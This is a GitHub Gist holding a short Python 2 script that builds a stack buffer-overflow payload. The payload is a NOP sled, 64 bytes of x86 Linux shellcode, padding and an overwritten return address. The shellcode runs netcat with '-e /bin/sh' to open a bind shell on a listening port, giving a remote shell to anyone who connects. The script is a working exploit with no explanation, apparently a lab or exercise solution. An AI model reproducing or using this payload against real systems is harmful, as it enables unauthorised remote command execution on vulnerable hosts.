Skip to content

Instantly share code, notes, and snippets.

@mvidalgarcia
Created February 25, 2016 19:38
Show Gist options
  • Save mvidalgarcia/6d3ca79206a0eef5f894 to your computer and use it in GitHub Desktop.
Save mvidalgarcia/6d3ca79206a0eef5f894 to your computer and use it in GitHub Desktop.
nopsled = '\x90' * 64
# 64 bytes shellcode
shellcode = ('\x31\xc0\x31\xd2\x68\x33\x33\x37\x37\x68' +
'\x2d\x76\x70\x31\x89\xe2\x50\x68\x6e\x2f' +
'\x73\x68\x68\x65\x2f\x62\x69\x68\x2d\x6c' +
'\x76\x76\x89\xe1\x50\x68\x2f\x2f\x6e\x63' +
'\x68\x2f\x2f\x2f\x2f\x68\x2f\x62\x69\x6e' +
'\x89\xe3\x50\x52\x51\x53\x31\xd2\x89\xe1' +
'\xb0\x0b\xcd\x80')
padding = 'A' * (144 - 64 - 64)
eip = '\x20\xf3\xff\xbf'
print nopsled + shellcode + padding + eip
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment